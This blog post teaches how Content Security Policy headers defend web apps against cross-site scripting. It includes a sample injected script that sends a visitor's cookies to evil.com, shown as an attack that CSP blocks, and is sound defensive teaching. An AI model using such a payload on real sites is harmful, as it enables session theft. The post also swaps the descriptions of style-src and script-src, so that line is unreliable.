Do you recognise the page below?

CIA-XSS

Yeah you’re right, it’s the CIA web page and it looks that it was hacked… how?
A hacker found a way of injecting some code on this web site due to some XSS Vulnerability.

In this case it was something harmless, he was just advertising his twitter account. Basically he just added some text to that page. But can you imagine if in this trustworthy website there was some link that would lead you to some malicious website? For sure most of the users would not suspect this and would click there.
Ok, so what is XSS and how can he inject code on a page that’s not his?

XSS – Cross-site scripting

XSS is a security vulnerability found in web applications that enables attackers to inject client-side scripts into web pages viewed by other users.
Usually this is achieved by adding javascript code into one of the pages input text fields, like the search field.

So, what can we do to prevent this? Below are the most recommended techniques from the OWASP organisation:

  • Input validation
  • Output sanitisation and escaping
  • Use safer frameworks that automatically escape for XSS by design
  • Escape untrusted HTTP request data
  • Apply context sensitive encoding when modifying the DOM (like innerText instead of innerHTML)

It sounds a lot, specially if you already have a running website that has a lot of forms and input fields.
And then you might think, ok if the problem are script tags and special characters I can prevent the user from writing them on my page inputs…
But if you didn’t know is possible to write javascript code only with 6 characters! Yes that’s right, you can check this webpage here and try it out.

write JS only with 6 characters

Despite this amount of code only displays an alert popup, you could write an entire malicious code here as well.

It’s getting really tricky to avoid XSS on our webpage! Fortunately there is CSP to help us!

CSP – Content Security Policy

CSP defines the Content-Security-Policy response HTTP header that allows you to create a whitelist of sources of trusted content.

This means, that by adding some directives to our webpage response headers, for all the web pages, we can in fact limit and restrict (by type of content and from which location) the code that can run on our web page.

Example

If we have this HTTP header on our page:
Content-Security-Policy: script-src 'self' code.jquery.com

And then if one attacker tried to inject this code into our search field:
<script>
  new Image('http://evil.com/?cookie=' + document.cookie);
</script>

We would see this error on the browser console:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' code.jquery.com".

So what just happened here? Just by adding that single HTTP header on your web server, that javascript code was automatically blocked by the browser since our CSP directive explicitly only allow scripts from the same origin that our web page and scripts from the jquery.com domain. So all other scripts from other domains are blocked, since they are not matched on our whitelist.

CSP Directives

Bellow are some of the most common used directives:

  • style-src Specifies valid sources for JavaScript
  • script-src Specifies valid sources for stylesheets
  • font-src Specifies valid sources for fonts loaded using @font-face
  • img-src Specifies valid sources of images and favicons
  • media-src Specifies valid sources for loading media using the <audio>, <video> and <track> elements
  • object-src Specifies valid sources for the <object>, <embed> and <applet> elements
  • connect-src Limits the origins to which you can connect (via XHR, WebSockets and EventSource)
  • default-src Default behaviour for directives ending in -src
  • base-uri Restricts the URLs which can be used in a document’s <base> element
  • form-action Restricts the URLs which can be used as the target of a form submissions from a given context
  • frame-ancestors Specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed> or <applet>
  • report-uri Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of JSON documents sent via an HTTP POST request to the specified URI

Directives accepted values

Bellow are the accepted values that the above directives support, apart from those, you can add space separated values like we saw on the first example.

  • ‘none’
  • ‘self’ matches the current origin, but not its subdomains
  • ‘unsafe-inline’ allows inline JavaScript and CSS
  • ‘unsafe-eval’ allows text-to-JavaScript mechanisms like eval

Nounces & Hashes

Sometimes you need to have certain inline script and style elements, while avoiding use of the CSP unsafe-inline directive. For this scenarios you can use nounce or hash.

Nounces

If we have this HTTP header on our page:
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

And we have this HTML code on our page:
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
  // Some inline code I can't remove yet, but need to asap.
</script>

  • Nonces must be regenerated for every page request and they must be unguessable
  • Good option for dynamically generated pages, unsuitable for static content

Hashes

If we have this HTTP header on our page:
Content-Security-Policy: default-src 'self'

And we have this HTML code on our page:
CSP hash example

If we try to load our page now, the browser complains:
CSP hash example

In this scenario, the browser is even telling us what to do, is telling us to add that hash to our CSP directive:
CSP hash example

  • The hash value is the result of base64 encoding the binary hash of the code inside the above script tag. Any change in the script whatsoever will alter the resulting hash and the script will not be executed
  • Hashes are perfect for scripts that don’t change that often, like the above google analytics code

How do I get started?

Enable CSP early as possible in development mode, and if you have already a running application, enable CSP in report only mode (example below).

Reporting only mode example

Content-Security-Policy-Report-Only: default-src 'self';
report-uri /my_amazing_csp_report_parser;

  • Won’t block restricted resources, but it will send violation reports
  • Able to add both headers, enforcing one policy while monitoring another

Last but not least, the browser support! You will be quite happy with it, please check it here

I hope you understand a bit better what CSP is and please add it to your app asap! 🙂

No Thoughts to Secure your web app with CSP

Comments are closed.